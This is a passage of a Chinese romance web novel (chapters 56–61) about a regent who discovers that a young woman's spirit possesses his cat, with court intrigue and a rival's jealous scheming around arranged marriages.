谢珩玉看着她,一阵无言:“……”
两人离得近,他甚至能看清她的眼睫毛有多少根。
此时,没有被任何物体支撑住的睡梦中的人儿,坐不住了,脑袋晃悠一下,身体朝前倾去。
但只倾了一半。
额头直直地,抵在谢珩玉的前胸。
下不去了。
第56章 幼稚玉玉,戏弄囡囡
刹那间,谢珩玉像被冻住的冰雕,感受到胸膛上顶着的东西,他缓缓低头,看着她乌黑发亮的后脑勺。
即便这样,少女也没醒来。
她的呼吸愈发明显了,也或是他不习惯与女人的接触,有些草木皆兵了,隔着夜行衣,她温热微凉的气息喷洒在他的身前。
一丝丝不知名的情绪,缓缓升起,抓不着,也想不通。
谢珩玉无意去琢磨异样是为何,他没忘正事,任她额头抵着自己的胸膛,如此更方便他摘项链。
他抬手,将她后颈处的长发撩开,雪白的肌肤落入眼帘,继续去解项链的纽扣。
冰风扇里吹出的凉爽的风,染上不该有的燥热,丝丝缕缕吹在人的身上,被撩拨开的青丝在空中荡起,轻飘飘地拂过男人动作的手、认真的面容。
激起几分痒意,发油的香气也愈发浓烈。
原本马上就要解开的纽扣忽然从手中滑落,又掉在了少女的脖子上。
谢珩玉心有不耐,重新捡起,指腹不小心摩挲过她的颈后的肌肤。
烛光将两人的影子倒映在了墙面上,黑影相连,像是她倒在他的怀里,而他双手解纽扣的样子好似他在环抱着她。
不过,这倒映无人注意,也无人瞧见。
谢珩玉终于将金项链成功取下。
项链上,还带着属于少女身体的温热。
他将金项链收到腰间,不欲久留,正要将身上的人放倒,手还未碰到她的肩膀,又听她忿忿地呢喃道——
“崔,崔……”
崔什么?崔兰亭吗?
那个抛弃了她的未婚夫,还让她在梦里这般惦记?
谢珩玉看着她的后脑勺,微微低头,想将她的梦话听得更仔细一些。
她却没下文了。
谢珩玉直起身,一个拜高踩低的崔兰亭,也值得惦记?
随后,他的眼中闪过讥讽与不屑。
不过赵家也没好到哪里去。
果真是赵家这样的人家养出来的女儿,哪怕模样一般,骨子里还是与她父亲一样庸俗。
他单手扶着她的肩,没有半点怜香惜玉地将人一推。
“嘭”
赵福宁倒在软枕上,发丝凌乱,脖颈泛红。
谢珩玉随手抓起被褥,一抛,被褥自由落下,很服帖地罩住少女,恰好只露出一个脑袋在外面。
离开前,他心里觉得不畅快,想了想,大概是自己被耍了那么久,却碍于各种原因,不能立马戳穿惩罚她,自然不爽。
遂心生一计,走到冰风扇边,打算将里面的冰都取走。
却发现,这冰风扇与市面上的、王府在用的不同,这冰风扇扇叶薄如蝉翼,里面装的是冰水。
是好东西。
赵福宁又是哪里弄来的?
谢珩玉带着疑惑,将里面的冰水换成了常温水,还将水倒在储藏的冰块上,加速了融化。
最后伸手在风扇前一挡,感受到风不凉了,逐渐趋近于正常的夏日热风。
看着少女露在外面的眉毛蹙了蹙,要离开的人嘴角没忍住翘了翘,吹灭光亮,潇洒离去。
回到王府时,天还是黑的,白昼一直等着。
见到王爷归来,白昼赶忙上前,一副发现了不得的事的表情,“王爷!属下按照您的吩咐,将黄金勾在小福的爪子上,黄金真的凭空消失了!”
亲耳听说,不如亲眼所见。
亲眼所见了,白昼觉得惊悚,又觉得新奇,“王爷,那道长真是有几分道行的,明日做法,是不是得让小福在场?”
提到道长,谢珩玉的眼神冷了冷,一个骗子,还敢欺到他的头上。
他道:“你去给那臭道士传个话。”
“从明日起,一言一行,皆按本王的吩咐来。”
丑时末,王府才陷入属于夜晚该有的平静。
静了一个时辰,早朝的时辰就快到了,谢珩玉起身时精神十足,没有半点当了夜猫子后的萎靡,唯独下巴上的痘痘更红了几分。
看起来和普通的上火无异。
奈何外人比他自己更关心他,宫内的太监宫女见了,将消息传到了坤宁宫。
王皇后正亲自替及笄之龄的女儿梳妆,听了宫人的禀报,将手中的梳子交给梳头的宫女,转身要前往外殿。
如意公主眉眼弯弯,撒娇道:“母后,女儿有什么听不得的。”
王皇后宠溺道:“你乖。”
如意公主撇撇嘴,没再说什么。
王皇后移步外殿,面色瞬间冷了下来,没有方才母女相处时的慈爱,还多了几分疲倦,对掌事女官道:“寿安伯府可有动静?”
掌事女官回禀:“自从去过摄政王府后,江大小姐就没出过门。”
王皇后冷嗤,“这便
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受打击了?”
掌事女官:“依奴婢看,江大小姐并非是安分守己的,成为摄政王妃,是她唯一能够‘一步登天’的机会,摄政王虽不心悦于她,至少身边也没有别的女子,江大小姐应该不会因为一点小挫折就放弃泼天的富贵。”
王皇后想到方才宫人说的摄政王的痘痘,又联想到那天太医的诊断,奇了怪了,“到底是血气方刚的男人,身边又没个贴心的,想要让他倾心,哪有那么难?”
原想给谢珩玉安排一个家世低的绝色女子,一是为了避免谢珩玉来日娶个高门之妻、壮大势力,二是因为家世低的女子更好拿捏。
王皇后一直以来都想安插自己的眼线进摄政王府,奈何王府用人制度严明,根本没有机会安插眼线。
江雪娥无疑是最合适的、可以利用的人选。
哪里知道,谢珩玉竟不为美貌所折,这还是男人吗?
不,应该是江雪娥还没用尽全力。
王皇后厉色道:“去给**传话,本宫不管她用什么手段,只给她一个月,若一个月后谢珩玉还不愿意与她成婚,本宫这个做皇嫂的,只能另赐良缘了。”
名义上虽然已经赐婚,但王皇后心里清楚,如今自己的势力远不如这位监国的摄政王,若对方违抗她的赐婚,她还真的没办法拿他怎么样。
她的儿子因谋逆被废,至今都幽禁于宗监室,往昔强大的母族也一同被抄,还在诏狱中等待发落。
只剩她与女儿如意,圣上念结发多年情分,暂未废她,而今圣上昏迷,在此期间,是她安排谢珩玉婚事、安插眼线的最好机会。
但也要谢珩玉自己真心接受才行。
所以王皇后很急,她怕这边婚事还没成,圣上就醒了,那便彻底要黄了。
她当然也可以想办法让圣上永远醒不过来,但这显然对她更不利。
圣上若身死,大齐无太子,谢珩玉就会名正言顺地登基称帝,而她的儿子的死活,全由谢珩玉说了算。
只有圣上醒来,怀念父子情意,才有机会将长子放出来。
只要能出来,就还能再图谋。
掌事女官出宫传话的时候,天才亮不久,用福宁的话说,就是老天爷还没睡醒。
往日这个时辰,福宁肯定是醒不了的。
但今日不同。
她热醒了。
第57章 囡囡好热、崔家提亲
被褥不知道是在什么时候被她踹开,在床尾堆成了一座小山。
后背的衣料都浸了汗,额头的碎发也染上湿意。
她坐起身,眼睛迷迷糊糊地睁开一条缝,燥热让她起床气横生,白里透粉的脚狠狠踹了踹被褥,让它滚远些。
迎面吹来的热风,迫使她彻底热得清醒了,爬起身探身往冰风扇的方向凑。
这一瞧才知道,冰都化光了,冰水提早变热了。
可见,昨晚是有多热。
还有一种可能。
这冰,是劣质冰!
这个时辰,跟着她作息的阿婵都没起来,她自己起身,准备去地窖挖点冰来继续睡。
到了地窖,里头哪还有冰啊。
又问了赵管家,才知道,冰是很贵的。
“以往是每日清晨,冰库会送一点冰来放地窖里,自昨日起,府里已经断了冰的供应,最后的一点也已经用完了,老爷夫人昨夜也没用冰,小姐您要不将就一下,风扇没了冰,还是有风的。”
福宁没得选,她站在院里,何止风扇有风啊,她心里也有。
狂风簌簌乱作。
她叹息两声,也不睡觉了,这将是她今年起得最早的一次,烦躁地蹲在门槛边,想办法。
没有冰,她真的睡不着啊!
忽然觉得脖子上热热的,福宁寻了铜镜照了照,才发现脖子竟然有一圈红。
不像是被虫咬的。
她现在有点理解崔兰亭为何说她娇气费钱了,没有冰的日子,连脖子都热得泛红了,不会是什么皮肤病吧?
想着,忽闻府外传来不小的动静。
她出了院子,见廊上赵护院行色匆匆地走向父亲母亲的庭院,她及时喊住——
“赵叔,早上好啊。”
赵护院是整个赵府长得最高最强壮的中年男人,力壮如牛,但人很憨厚忠心。
赵护院见了她,错愕道:“小姐起得真早啊。”
福宁点头,没错过他脸上一瞬间的僵硬,“是有什么事吗,我爹娘都还没起吧。”
赵护院犹豫片刻,还是说了,“小姐,崔家世子今日向江小姐正式提亲了,外头闹得很,是队伍经过了门口。”
闻言,福宁如遭雷劈,怔愣原地,才调整过来的心态,又恢复到了刚被热醒的时候。
这才几天啊?崔兰亭就提亲去了?
即使心里明知他俩要走到一起,可是这一天出乎意料得快,她心中还是很难过。
毕竟,进展快得让她觉得,自己过去喜欢的人,比想象中的不堪,还要更不堪托付些。
赵护院见她面上难看,愤慨道:“崔家也是好笑,还从咱门口过,我看啊,小姐得亏没跟这样的人结亲。”
甚至开始上诅咒,“他们崔家江家小人得志,以后肯定没得好!”
福宁转身朝府门处去。
这会儿出去,她恰好看到提亲队伍的小尾巴。
*
江月娇昨日被摄政王训斥后,回来就被关了一宿,不仅被父亲、主母斥责,也被长姐训斥。
说她心急成不了大事,说她这样会害了全家与摄政王的关系。
她心里苦,亦有担心自己的名声是否会受到影响,担心崔兰亭会不会改变要娶她的心意。
直到清早,听崔家上门提亲,才算放下一桩心事。
寿安伯府门前,比崔家提亲队先到的,是皇后娘娘派来的掌事女官。
女官扬着头,摆足了架势,被寿安伯夫妇亲自迎接进去。
崔兰亭是后一步到的,他面上并未有欢喜之色,直到被长平侯夫妇提醒了——
“兰亭,只有迎娶江二小姐,你才能娶赵福宁为平妻,今日别让伯府难堪。”
“换作别的任何一位世家小姐,都绝不可能同意你娶平妻。”
崔兰亭低了低头,再抬起时,面上温润淡笑与平常无异。
一抬抬沉甸甸的聘礼由下人搬进伯府。
长平侯夫妇亲自出来迎,连宫里来的
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女官也在一旁见证,“倒是赶巧了,见证了伯府的喜事,下官曾听娘娘说过,等江大小姐成了摄政王妃,便都是一家人,待江二小姐出嫁时,娘娘也是要添一份嫁妆的。”
寿安伯夫妇闻之大喜,倒不是图一份嫁妆,而是这话语背后的重视与荣耀。
长平侯夫妇相视一眼,眼底亦是满意,对这桩婚事的满意。
实则昨日江月娇被摄政王训斥,流言传开甚广,长平侯夫妇也犹豫过,还要不要上门提亲。
而后一想,哪怕江月娇因嫉妒之心浪费了摄政王的时间,却也只是被斥责而已,并未有什么实际的责罚,已经是摄政王留情面了,旁人可没有这份情面。
这便够了。
江月娇蠢就蠢些好了,反正联姻,联的是她背后的家族,是她背后的姐姐,是她姐姐背后的摄政王,总之不是她本身。
正因为名声稍差了些,他崔家趁早提亲,还没有竞争者呢!又是雪中送炭之举,不怕江月娇不感动,未来只会对兰亭更顺从。
那厢,女官将王皇后的话,私下原原本本带给了江雪娥,没留下用饭,只留下了焦虑给江雪娥,就先行回宫。
崔江两家坐在一起,商定了崔兰亭与江月娇成婚的日子。
崔家还是有私心的,提亲虽是趁早,但也怕中途出了意外,故提出的正式成婚的日子要晚一些,在三个月后的黄道吉日。
寿安伯也同意,**王皇后给大女儿的期限威胁,只以为自家很得娘娘看重。
他想的是,长幼有序,大女儿先嫁人,二女儿再嫁,很合理。
最后定下了日子,才派人去将后院关着的江月娇放出来,两家人坐一起吃个饭。
崔兰亭起身,主动道:“伯父,我去接娇娇吧。”
主动得连长平侯夫妇都诧异、惊喜了。
长平侯想着儿子终于懂事了,“娇娇受委屈了,你作为未来夫婿,要哄着她、让让她,知道么?”
第58章 一定要杀了赵福宁!
崔兰亭:“是,儿子知道。”
寿安伯见他已经完全接受这段联姻,不论是装的还是真的,至少表明了对娇娇的重视。
哪怕现在是装出来的,以后为了长久的利益,就会慢慢变成真的。
至于赵家那个丫头,只是一时被他喜欢,等真的成了平妻,得到后自然就不会执着追求了,赵丫头又没有家族为靠山,没有利益捆绑,不需要多少时间,就会被厌弃的。
寿安伯想着,欣慰地点头,唤来小厮,让小厮带着崔兰亭去后院。
崔兰亭礼貌地行了晚辈礼,又被寿安伯夫妇好一顿夸赞,相貌堂堂、年轻有为。
然而就在他转身的一刹那,温润的嘴角敛去。
想到昨日江月娇做的那些事,摆明了想致皎皎于死地。
他眼眸中的笑意消失,只剩下冷漠。
崔兰亭跟着小厮走到后院,亲自用钥匙打开了江月娇闺房上的锁。
钥匙**锁孔,转动时发出响动,里面的人儿抱怨道:“怎么才来,崔伯伯和伯母都来了很久了,他们商议得如何了?”
光听声,也能听出她对这桩婚事的热切。
房门打开时,江月娇已经站在门槛旁等着出去了,她的脸上不满与期待交织,在见到开门的人时,她愣住,反应过来后,满眼都是惊喜,“兰亭哥?”
尾调上扬,透着女儿家的娇态。
“兰亭哥,你,你怎么亲自过来了,崔伯伯与崔伯母是不是等我很久了?”
崔兰亭看着她,温和地回答她上一个问题,“我父母已经与江伯父商量好婚期。”
江月娇一听,没有因为自己昨日的行为而影响联姻,心里的大石头放下了,“兰亭哥,从现在开始,你就是我的未婚夫了。”
崔兰亭沉寂须臾,才弯起唇,“嗯。”
见他笑了,她的笑容也扬起。
她原还怕他会生气,看来是多虑了,赵福宁如今什么都没有,崔兰亭怎么会为了一个“平妻”,而对她这个未婚妻发脾气呢。
江月娇上前一步,走到崔兰亭的身边,她缓缓抬手,想握住他袖子下的手。
抬起的手僵了僵,最后还是选择牵住他的袖子,与他并肩而行。
她稍稍抬头,看看他的肩膀,高于自己的肩。
再抬头,怔怔地看着他如玉般的侧脸。
心里再一次确定,此时站在他身边的是自己,这不是做梦,以后能站在他身边的,也只有自己。
她心满意足地低下头,翘起的唇瓣就像是雕刻住了,再也压不下去。
直到——
两人一步步走远,经过小花园的时候,她听见他低声问:
“娇娇,为何要那么做?”
江月娇脚步一顿,若无其事地装无辜,“兰亭哥说什么?”
崔兰亭步伐如常,像是在讲一件稀松平常的事,“你口口声声说愿意让皎皎做平妻,却为何背着我去害她?”
江月娇紧张地吞了一口口水,内心害怕发生的事,还是发生了。
他还是为了赵福宁,来质问她了。
除了害怕他悔婚以外,她心里还有愤怒与苦涩。
两人向前走的路,还是江月娇先停下来,她试图解释美化自己,“兰亭哥,你不要听外面的流言,我与皎皎的情谊,这些年你也是看在眼里的,我昨日所为,只是不想她误入歧途啊,再说摄政王是我未来姐夫,这也算不得什么大事,只要我让姐姐代为求情,皎皎也不会有事的。”
江月娇极力解释,“再者,兰亭哥对她这么好,她却不愿意接受为平妻,我想断了她偷窃这条路,也好让她早些想明白,只有嫁给你,才是正经出路。”
她说得诚恳,编瞎话的本事也练得炉火纯青。
可当触及崔兰亭那双沉寂黝黑的眸,她的心莫名凉了几分,明明他没有露出半点不悦,明明还是那副温润之态,可直觉却告诉她,他好像已经生气到了极点。
江月娇害怕好不容易得到的未婚夫,又会失去,下意识地,她攥着他袖子的手更紧了些,声音带着不确定,“兰亭哥,你不要生气好不好,我真的是为了你和皎皎……”
崔兰亭眸光清冷地凝视着她,沉默着。
僵持的气氛不出片刻,他忽然笑了笑,眼中无波,情绪好似没有发生任何变化,却叫对面的人莫名松了口气。
就好像刚才,只是江月娇看错了,是她太心虚害怕,所以看错了。
崔兰亭温声开口,“我知道你没有坏心,你这样为我着想,我很高兴
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。”
“但是——”转折后的话暂且没说。
他伸手要将攥着自己袖子的那只手拽下来。
江月娇握得很紧。
崔兰亭力气比她大,他脸上挂着笑,动作不容拒绝地、将她的手指一根根扯下。
就在江月娇眼眸有了委屈不甘的水光时,他转而将她的手握在手心里。
她惊讶,眼中的水气盖住了狂喜。
她感受他手心的温度,见他另一只手从怀中取出精美的玉簪,轻柔小心地将玉簪**她的发髻。
崔兰亭“含情”的声音,自她额前响起:
“娇娇,以后我们是一体,凡事皆要与我商量,不要背着我,做傻事。”
“好吗?”
他问得无比温柔。
听不出丝毫恶意与不喜。
江月娇原本还沉浸在收到玉簪、被牵住手的喜悦里,无论他说什么,她都想答应说好。
可当意识到,他做这一切,都只是为了说服她不要伤害赵福宁的时候,她的心狠狠抽疼了一下。
先前就动过的**念头,在这一刻,又动了。
杀欲达到巅峰。
手心传来的温度很暖,江月娇笑着看着崔兰亭,“好,我都听你的。”
她就是喜欢他。
他的温柔,他的才华,他的伪装,她都喜欢。
江月娇相信等没了赵福宁,未来日子那么长,终有一日,他能爱上她,他会真心实意地送她礼物。
他们才是天造地设的一对。
而那一天,这个世上一定没有赵福宁了。
*
长平侯夫妇在寿安伯府闲谈了一日,巩固两家的关系,下午看戏,又留下来用了晚膳。
江月娇一直坐在席间,乖顺得体地听着长辈们说话,在提及自己时,露出羞赧谦虚的笑容,再回上几句礼貌的话。
根本看不出,昨日被摄政王府的人带走的窘迫和狼狈。
当然,也不会有人傻乎乎地提起昨天的事,只当什么都没发生。
直到散场,崔兰亭与父母离开的时候,已经是戌时。
他们一走,江月娇就卸下假面,瞒着父母,语气森寒地吩咐下人想办法寻找**。
不管多少钱,只要**不眨眼、不留后患就行。
……
第59章 摄政王坏,福宁好(欺负+1)
许是因为昨夜没休息好,早上起得太早,天刚黑时,福宁便困了。
但是躺在床榻上,热得根本无法入眠。
她开着窗,透过窗户数星星,“一颗,二颗,三颗……怎么没了,就三颗?”
哦,是窗子太小了。
她又爬起来,将窗户开大些,再重新数。
诶,不对,睁着眼睛数星星怎么能睡得着呢。
“怎么还不睡?”摄政王府里,白昼突然听王爷蹦出这么一句。
白昼一头雾水,还是回答了,“王爷,您困了?那属下退下?”
毛茸茸一坨慵懒地趴在案牍上,四肢不动,脑袋一直动。
谢珩玉看着小福,见小福的眼神干净,没有赵福宁的影子,没有那些对世俗的肮脏欲望、对黄金的贪婪,他就知道赵福宁还没来。
方才不小心说出了内心疑问,又听见白昼的回应,谢珩玉冷眼扫过去,“你去假山将大猫喂了,喂饱一些。”
“是。”
白昼只知道猫的身上可能会上邪祟,还不知道这邪祟是赵福宁变的。
谢珩玉也没打算告诉他。
等白昼暂离,谢珩玉抬手敲了敲小福的脑袋,严肃地问,“你是她同伙吗?”
养了这好几个月,都没养熟。
“知道她什么时候来吗?”他又问。
像是自言自语。
若是这一幕落在外人眼中,都得惊掉下巴了,一向冷漠阴森无情的摄政王竟然和无法说话的猫聊上了,这也太……
区别对待了吧!
对人的时候就没这么多话!
谢珩玉眉头不自觉地又拧了起来,不明白今天赵福宁怎么还不来,难道是出了什么事?
赵家还没抄家啊,她能出什么事?
他不喜欢等待和猜测的感觉,立即唤来暗卫,去查一查赵家发生了什么事。
很快得到了结果。
暗卫:“赵家今天没发生什么事,倒是——赵小姐的前未婚夫,长平侯世子向寿安伯府二小姐提亲了,下午合了八字,定了婚期在三月后。”
赵家没出什么事,难道意外是在这儿?
她为了一个不要她的男人要死要活?连觉都不睡了?
也对,哪里能睡得着,估计正哭着呢。
谢珩玉很不爽,他还是第一次等一个女人。
本来做好的要给她教训的计划,因为她的缘故推迟了。
暗卫小心翼翼地等着王爷指示,只等来一句“退下”。
突然,桌上那一坨翻了个身。
福宁一来就感觉气氛不对,屋内凉飕飕的,某人阴森森的。
啊!
她翻了个身。
这,是她渴望而不可及的凉爽啊!
福宁忽略了谢珩玉变了的眼神,她爬起来,环顾四周,仔细数了数。
阔绰啊!
卧房里有八个冰风扇!能不凉快吗!
从前,她都没数过,可见人呐,真是越缺什么,越在意什么。
她已经热了一天,心火很燥,踩在案牍上,从他面前经过,走到他右手边的冰风扇前。
左右摆脸。
确保每一根毛发都要被吹得凉凉的。
忽听某人沉声一喊,“来人!”
恰好白昼喂大猫回来了,“王爷。”
谢珩玉:“道长做法如何了?”
白昼明白了,是王爷要开始治邪祟了,他的目光悄悄投向正在吹风的小福。
小福现在已经被邪祟上身了?王爷是怎么辨认的?
他看着差不多啊……
按照王爷吩咐的,白昼道:“王爷,道长还在做法,刚才说,要将小福送到东南面依山傍水处,方能压制邪祟。”
谢珩玉低头,看着还在享受吹风的小东西。
“小东西”转过头来,望向他的眼睛里写满了警惕,大概是听见白昼的话,感到害怕了。
怎么之前没有发现呢,明明赵福宁和小福的眼神、情绪,透露出来的都不一样。
谢珩玉看着她,一侧嘴角勾了勾,眼里毫无以往的宠溺,只有
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冰冷恶意,“那就听道长的,让她跟大猫住一起,将邪祟好好驱干净。”
既然戏耍他、还伤害了小福,就要承受相应的代价。
先给她些苦头吃一吃。
福宁尚不知自己已经叫眼前人完全看穿了,听着他的话,身体蓦然一抖。
“阿嚏!”冷的。
她才知道府里还有别的猫,跟大猫住,她倒是不怕,只要别让假道士的桃木剑戳死她就好。
当然,这是她见到大猫之前的想法。
她哪里会知道,所谓的大猫,是一只老虎啊!
被白昼摆在假山上,假山边上还有个小池塘,四周都被高高的铁栏围住了。
福宁甫一被放下,就听得有动静,扭头就对上冒着光的眼睛。
白昼好意地多点了一盏灯,叮嘱“大猫”,“大猫,小心点,它身上的邪祟不知道什么来头。”
“大猫”听不懂,满脸疑惑地歪了歪头。
福宁险些吓晕过去。
但她不能晕,当即跳了起来,在假山上四处逃窜。
这哪里是要压制她啊,假道士是要她死啊!
她四肢跑得飞快,连影子都看不到,好不容易跑到了假山的制高点,以为安全了,哪料下一瞬,假山就被老虎撞倒了……
假山处不停地传来两只“野兽”的叫唤。
“大猫”的叫声是宣示领土的所有权。
“小猫”的叫声,纯嚎叫。
谢珩玉站在房间外,有意想欣赏一下某赵姓邪祟的狼狈惨状。
还没走近,就听见那凄厉的嚎叫。
嗓子都已经哑了,还在叫。
他心一紧,“没人看着吗?”
白昼立马道:“王爷放心,边上有侍卫的,会保证小福的安全,而且,大猫吃饱了的。”
在白昼心里,大猫才是需要被担心的那个,“属下觉得,今晚之后,邪祟肯定怕得不敢再来了,还是王爷的这个办法有效!”
谢珩玉没说话,往假山去的脚步快了一些。
第60章 他当着崔兰亭的面,摸她
老虎慵懒地趴在假山下,福宁四处乱窜寻找跑出去的机会。
她根本不敢回头去看老虎,骂了道士和谢珩玉一百八十遍,嗓子都叫哑了,她终于爬上铁栏杆,奋力一跃。
身体悬空之时,视野广阔不少,她看见谢珩玉正往这边走来,守在铁栏外的侍卫朝他行礼。
福宁张开四肢飞出栏杆,控制下坠速度。
谢珩玉抬眸,白花花的小东西正朝自己飞来,他瞳孔一缩,下意识要伸手去接。
福宁后肢落至他手心,没等他握住,她借力再次起跳,前爪很不客气地往他头上一攀,由他头顶经过,飞快地跳走。
谢珩玉的手还呈着要抱她的姿势,头皮一痛,边上的侍卫吓得失色,“王爷!您可有受伤?”
“小福跑啦!”另一个侍卫喊。
谢珩玉不顾凌乱的头发,挥开侍卫,转身望向逃窜的那抹身影已经越来越远,他冷笑一声,将赵福宁这个名字在心里骂了一遍。
她分明是故意的。
他命令道:“把她抓回来!”
府中侍卫出动,“是!”
不过这么一会功夫,福宁已经蹿到假道士的法坛上,将香炉一脚掀掉,打断道士“施法”后,听闻侍卫追来,她忙不迭地又跑了。
几步一跳跃,出了摄政王府的高墙,到街上时,才有一丝喘息的机会。
掌心好疼。
左爪摸摸右爪,好像是出血了。
但现在顾不得疼痛,她就像那被通缉的逃犯,一直跑一直跑。
戌时,城北正街上的人不多。
宽敞的道路两边灯笼高挂,两辆马车徐徐驶来,车轱辘滚动在石转铺的路面。
后面好像有侍卫追上来了,“那祖宗呢?”
来不及犹豫,福宁纵身跳跃,上了第二辆马车,破后窗而入。
一进车内,便与里头着装文雅的男人对上眼。
糟糕,进来前,没注意到马车上的标志。
她竟上了崔家的马车,车内的人是崔兰亭。
她转身想出去,可摄政王府的侍卫还没走远,怕这会儿出去会被抓到。
当真是进退两难。
崔兰亭一怔,后眉头一皱,眼中嫌恶之色溢出,他用袖口掩住口鼻。
除了崔兰亭以外,车内还有他的书童。
书童知晓他不能与猫接触,立马打起精神,准备出手,“世子,小的马上将她赶出去。”
福宁的耳朵贴着车壁,听着外面没了侍卫的声音,安心了些,其实不用崔兰亭赶,她自己也要下去。
哪知,崔兰亭竟破天荒地道:“不用。”
福宁诧异,啊?他不怕起疹子吗?
书童问出她的心声,“世子,您的身体……”
崔兰亭仍掩着面,声音从袖子下传出,“抓住她。”
书童心有不解,手倒是快一步抓住小猫,“然后呢?”
崔兰亭打开车窗,与外头行走的侯府小厮吩咐道:“去与我父母说一声,让他们先回府。”
“是。”
崔兰亭关窗,隔着车门对马夫道:“改道,去摄政王府。”
听到摄政王三个字,福宁瞪大眼睛,死死地瞪着崔兰亭,“喵——”
出了狼窝,又入虎穴啊!
崔兰亭不仅认出了她,还要亲自将她送回去,是不是还要领个功啊!
福宁才跑出王府不远,马车没行驶多久,就到了府邸门外。
崔兰亭下了马车,与侍卫说明来意,书童跟在他身后。
侍卫第一眼就看见了被书童抱在怀里的她,当即进府禀报。
福宁多次想逃,都被书童死死地按住,只能眼看着朝王府前厅越来越近。
正厅里的灯光照得锃亮,她用爪子捂住眼睛,直到书童在正厅里站定,她感受到微妙寒冷的气氛,爪子悄悄开了朵花,眯着眼睛从爪缝里看人。
就一眼,她发现谢珩玉在看着她。
他坐在主位,头发已经整理好
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,没有被她踩过抓过的凌乱痕迹,嘴角勾着令人发毛的弧度,就这般盯着她。
福宁一下就把眼睛闭上了,身体止不住颤抖。
感觉今晚要交代在这里了。
要是知道会被抓回来,她就不该抓他。
此时,边上响起崔兰亭礼貌行礼问号,并谈及来意,“也是巧,方才王爷的小宠跑上了微臣的马车。”
谢珩玉盯了她一会儿,冷哼,“未必是巧。”
嗯?崔兰亭有些惶恐,差点以为王爷在怀疑是他掳走了猫,特意送来邀功。
正欲解释,又听谢珩玉用一种讥讽的语气道:“她喜欢亲近你。”
……
崔兰亭琢磨不透王爷到底是什么意思。
难道为了一只猫吃味吗?上回也是这样,可他明明连碰都没碰到猫。
小猫能有什么亲近喜欢的,不过是多看他两眼罢了。
他心觉得摄政王喜怒无常,还不得不顺着对方脾气,“许是好奇,王爷养的小宠,最在意的自然是王爷。”
这种话,谢珩玉听一耳朵就罢了。
谢珩玉手臂抬了抬,白昼领悟其意,将书童怀里瑟瑟发抖的一坨抱了过来。
再然后,福宁挣扎着,还是到了谢珩玉的手上。
不需要冰风扇,这会儿也觉得凉飕飕的。
她听谢珩玉问,“哪只爪子抓了我?”
她哪里敢动?
谢珩玉看出了她的害怕,顾自拽起她的爪子检查,看那架势,就仿佛要把她爪子剁了似的。
福宁惊恐极了,感受到前肢的拉扯,忍不住发出哀嚎,又哑又低,凄惨极了。
她看着谢珩玉愠怒的脸,紧接着,不知他看见什么东西,忽然变了。
好像没那么生气了。
谢珩玉在触及她爪子上的血痕时,眸光闪了闪,心里升起异样情绪。
眼前幻想出她努力用爪子勾住墙壁往上攀、掉下来又继续坚持不懈地往上爬的可怜模样……
第61章 三个人要怎么平衡感情?
赵福宁再不好,也是个手无缚鸡之力的少女罢了,她应该是恐惧老虎,嗓子喊哑了,爪子也挠破了,她应该很无助……
想着,他眼眸中渗出的愤怒褪去,变成复杂,握着她的力道也松了几分。
感受到桎梏松了些,福宁就想趁机逃跑。
谢珩玉的大掌一按,将她牢牢禁锢怀中,忽然又听到崔兰亭的声音——
“王爷与爱宠重聚,微臣便先告退了。”
若是崔兰亭不说话,他都快忘了这个人还杵在这儿。
“等等。”谢珩玉想到了另一种不伤身的方式,惩罚赵福宁。
他一只手托着她的肚皮,另一只手按着她的背,“崔世子今日向江二小姐提亲了?”
崔兰亭惊讶他的问题,不过心里很乐意与摄政王多些交谈,表面不显,“是,婚期定在三月后,届时若王爷有空喝喜酒,是微臣的荣幸。”
谢珩玉没接话,抛出另一个问题,“崔世子喜欢江二小姐吗?”
这话问的,连崔兰亭都觉得有些过界,“微臣与江小姐门当户对,青梅竹马。”
“哦?”谢珩玉低头朝怀里看了一眼,带着几分玩味又问,“本王听说,你与赵家的千金也是青梅竹马,你不要她了?”
崔兰亭温润的表象都快要维持不住了,实事求是道:“王爷,微臣与赵家的千金的确是青梅竹马,赵伯父所做的那些事与她无关,微臣与家中商量过,打算娶她为平妻。”
平妻。
这两个字,在福宁听来,和妾室没多大差别。
都是想将她刻在耻辱柱上。
什么叫打算娶她做平妻,她答应了吗!就往外说!
光靠崔兰亭打算就可以吗?
福宁气得的爪子紧紧地攥着谢珩玉的衣料,指甲嵌进去,一下戳一个洞。
“嘶。”谢珩玉感受到她的指甲不小心戳到他,传来丝丝疼痛。
不过他心里却莫名愉悦,将她的爪子握在手中,不许她动,然后继续问——
“原来崔世子是想坐享齐人之福。”
“一个正妻,与一个平妻,你要如何平衡三个人的感情呢?”
……
崔兰亭很后悔今天来了王府。
很不清楚摄政王是不是吃错药了,为什么对臣子的感情那么关心。
京城中妻妾成群的大臣比比皆是,也不见摄政王问别人如何平衡一群人的感情。
“王爷,这……是微臣的私事。”崔兰亭温和地,拒绝回答。
福宁听着,忽然身下的大掌往她肚子一抓,她觉得不舒服,想躲开。
谢珩玉并不在意崔兰亭的避而不答,他嘴边荡着笑意,左手捏揉着“小福”的肚皮,感受到她有意躲避,他毫不怜香惜玉地将她提起,搂在臂膀里,边揉边起身,眼中带着挑衅的意味,走到崔兰亭的面前。
他疏离又客气地道:“今天要多亏崔世子将这小东西送回来,否则跑了,本王还不知该去哪寻。”
“她可比黄金,贵重千万倍。”
崔兰亭不知道王爷为什么转移话题,心里反而松了口气,“不过是举手之劳,能让王爷失而复得,是微臣之幸。”
福宁在心里唾骂崔兰亭,一边被谢珩玉摸来摸去,还是当着崔兰亭的面。
她实在受不了他的动作了,感觉跟挠痒痒似的,叫她各处都痒,“喵喵~”
谢珩玉眸光一黯,嘴角的笑也淡了,以为她是冲着崔兰亭撒娇,抬手就往她脑壳一拍,语气嘲弄,“没出息的东西,崔世子最讨厌猫了,不会抱你。”
还冷冷地补充,“上次,江二害你落水,也不是崔世子救的你。”
……
这话在福宁听来,没有什么问题,就是谢珩玉在对小福说的。
但在崔兰亭听来,当即就跪下了,“王爷恕罪,微臣的未婚妻不懂事,微臣天生又患有不能接近猫的病,微臣——”
“行了,本王可没怪罪你,不过——”谢珩玉话锋一转,低垂的视线对上谨慎的崔兰亭,“你倒是对江二有情有义,还知道帮她求情,如此相比,你对赵家千金真是无情无义。”
崔兰亭抬首,手还拱着,“王爷?”
福宁也抬起头,对上谢珩玉泛了一点青色的下巴,想继续听下去。
谢珩玉没辜负她的厚望,“崔世子忘了?”
他言辞犀利,帮崔兰亭回忆,“那日,你与你父亲不惜夜里登门,一字一句向本王保证,与赵府虽有婚约,
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但绝对没有利益往来,对赵大人**送礼的行为,亦不知情。”
